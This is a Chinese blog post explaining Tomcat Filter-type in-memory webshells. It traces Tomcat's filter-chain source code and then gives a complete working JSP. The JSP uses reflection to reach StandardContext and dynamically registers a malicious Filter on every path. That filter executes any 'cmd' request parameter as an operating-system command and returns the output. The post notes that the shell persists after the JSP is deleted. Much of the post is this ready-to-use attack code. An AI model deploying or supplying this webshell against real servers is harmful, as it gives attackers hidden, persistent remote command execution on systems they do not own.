Tomcat内存马-Filter型

Tomcat内存马-Filter型

Tomcat具体知识可看我的前一篇文章

源码分析

我们首先来实现一个简单的Filter

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter("/*")
public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("调用了Filter!");
        filterChain.doFilter(servletRequest,servletResponse);
    }
    @Override
    public void destroy() {
    }
}

使用IDEA进行调试,在doFilter处进行断点,调用链如下:

image-20230301135114764

我们向上回溯,首先看一下ApplicationFilterChain#internalDoFilter

image-20230301135426166

在此处调用了filter.doFilter()方法,此处的filter为我们编写filter对象,该对象通过filterConfig.getFilter()从filterConfig中获取。而filterConfig从ApplicationFilterConfig类型的filters数组中获取。

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
...
ApplicationFilterConfig filterConfig = this.filters[this.pos++];

每个filterConfig都对应着一个Filter,其中存储这此条Filter的各种信息,例如Filterdef和Filter对象等信息

image-20230301140808072

filterDef中存放了filterClass、filterName等基本信息

image-20230301152131859

我们来找一下存放filterConfig的数组filters[]在哪里被赋值

在StandardWrapperValve#invoke方法中,初始化了一个ApplicationFilterChain

image-20230301141746113

跟进ApplicationFilterFactory#createFilterChain方法,首先会创建一个空的filterChain对象

image-20230301143742309

然后通过wrapper.getParent()函数来获取StandardContext对象,并获取StandardContext对象中的FilterMaps

image-20230301144048337

FilterMaps是存放FilterMap的数组,而FilterMap里主要存储Filter的名称和路径映射信息,其对应的是web.xml中的<filter-mapping>标签

image-20230301144311997

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

然后根据Filter的名称,在StandardContext中获取FilterConfig,通过filterChain.addFilter(filterConfig)将所有filterConfig添加到filterChain中

image-20230301144959192

在filterChain.addFilter()方法中,filterConfig被添加至filters[]中,此时就完成了我们前面filters[]的获取问题

image-20230301145555793

接着会回到StandardWrapperValve#invoke方法中,调用filterChain.doFilter方法

image-20230301150630280

在filterChain.doFilter中会调用ApplicationFilterChain#internalDoFilter方法,至此Filter的创建过程清晰明了

image-20230301150654741

从上面的分析可知,filter内存马的关键就是将恶意Filter的信息添加进FilterConfig数组和将恶意的filtermap添加进FilterMaps中,那么Tomcat在启动时就会自动初始化我们的恶意Filter,并在访问相应的路径时触发代码。

动态注册Filter

经过上面的分析,我们可以总结出动态注册Filter的流程:

  1. 获取上下文对象StandardContext
  2. 创建恶意Filter
  3. 构造FilterDef封装filter
  4. 创建filterMap,将路径与Filtername绑定,将其添加到filterMaps中
  5. 使用FilterConfig封装filterDef,然后将其添加到filterConfigs中

我们一步一步完成:

获取StandardContext对象
//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
创建恶意Filter
 public class Filter_Shell implements Filter{
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while((line = bufferedReader.readLine())!=null){
                    stringBuilder.append(line+"\n");
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    }
构造FilterDef封装filter
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
创建filterMap并放入filterMaps
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
封装filterConfig及filterDef到filterConfigs
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)                constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
完整代码
<%--
  Created by IntelliJ IDEA.
  User: Christ1na
  Date: 2023/2/15
  Time: 10:25
  To change this template use File | Settings | File Templates.
--%>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%!
    public class Filter_Shell implements Filter{
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            String cmd = servletRequest.getParameter("cmd");
            if(cmd!=null){
                Process process = Runtime.getRuntime().exec(cmd);
                java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));
                StringBuilder stringBuilder = new StringBuilder();
                String line;
                while((line = bufferedReader.readLine())!=null){
                    stringBuilder.append(line+"\n");
                }
                servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
                servletResponse.getOutputStream().flush();
                servletResponse.getOutputStream().close();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }
        @Override
        public void destroy() {

        }
    }
%>
<%
    Filter_Shell filter = new Filter_Shell();
    String name = "Christ1na";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

先访问jsp木马,动态注册恶意Filter

然后访问任意路由即可执行命令,即使删除此jsp文件

image-20230301155718068

Servlet型

Listener型

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值